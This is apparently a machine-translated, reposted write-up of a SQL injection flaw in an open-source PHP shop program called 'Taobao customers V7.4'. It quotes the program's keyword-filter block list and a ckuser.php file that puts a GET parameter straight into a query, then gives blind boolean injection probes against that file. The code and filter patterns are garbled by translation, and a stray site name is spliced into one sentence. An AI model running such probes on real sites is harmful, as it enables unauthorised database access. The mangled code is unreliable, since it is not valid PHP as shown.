Many Taobao customers V7.4 bypass anti-injection and one Injection Vulnerability

Because the program is an open source program
 
Download the program and read it. In fact, programmers still have a bit of security awareness:
 
Anti-injection code:
 
// Invalid characters to be filtered
$ ArrFiltrate = array (
"# Union # I ",
"# <Script # I ",
"#/Script> # I ",
"# Select # I ",
"# Alert # I ",
"# Javascript # I ",
"# <Table # I ",
"# <Td # I ",
"# \" # I ",
"# \ '# I ",
"# Delete # I ",
"# Vbscript # I ",
"# Applet # I ",
"# Frame # I ",
"# <Div # I ",
"# Update # I ",
"# '# I ",
"# Union # I ",
"# Select # I ",
"# Delete # I ",
"# Update # I ",
"# And # I ",
"#;# I ",
"# Update # I"
);
$ Replacements = '';
 
Function FunStringExist (& $ array, $ ArrFiltrate, $ replacements)
{
If (is_array ($ array ))
{
Foreach ($ array as $ key => $ value)
{
If (is_array ($ value ))
FunStringExist ($ array [$ key], $ ArrFiltrate, $ replacements );
Else
$ Array [$ key] = preg_replace ($ ArrFiltrate, $ replacements, $ value );
}
}
}
 
FunStringExist ($ _ GET, $ ArrFiltrate, $ replacements );
FunStringExist ($ _ POST, $ ArrFiltrate, $ replacements );
 
 
 
This code is still flawed. We only need to find the place where the request is called to filter out www.2cto.com get post.
 
 
 
Another file does not call the anti-injection program, resulting in character injection, but is affected by gpc.
 
Header ("Content-Type: text/html; charset = UTF-8 ");
Include "../comm/config. php ";
$ Uname = trim ($ _ GET ["name"]);
If ($ uname = ''){
Echo "true ";
} Else {
$ Con = @ mysql_connect ("$ dbserver", "$ dbuser", "$ dbpass") or die (ERR_DB );
Mysql_select_db ("$ dbname", $ con) or die ("can not choose the dbname! ");
$ Query = "select * from". $ BIAOTOU. "user where ddusername = '". $ uname ."'";
Mysql_query ("set names utf8 ");
$ Res = mysql_query ($ query );
If (mysql_num_rows ($ res )! = 0)
{Echo "true ";}
Else
{Echo "false ";}
}
 
First, register a user so that the program can judge.
 
Ckuser. php? Name = maxadd' and 1 = 1 and ''='
 
 
 
Returns true.
 
 
 
Ckuser. php? Name = maxadd' and 1 = 2 and ''='
 
Returns false.

Original article: http://hi.baidu.com/0x7362/blog/item/4bab6a2fba63a765ac34de0c.html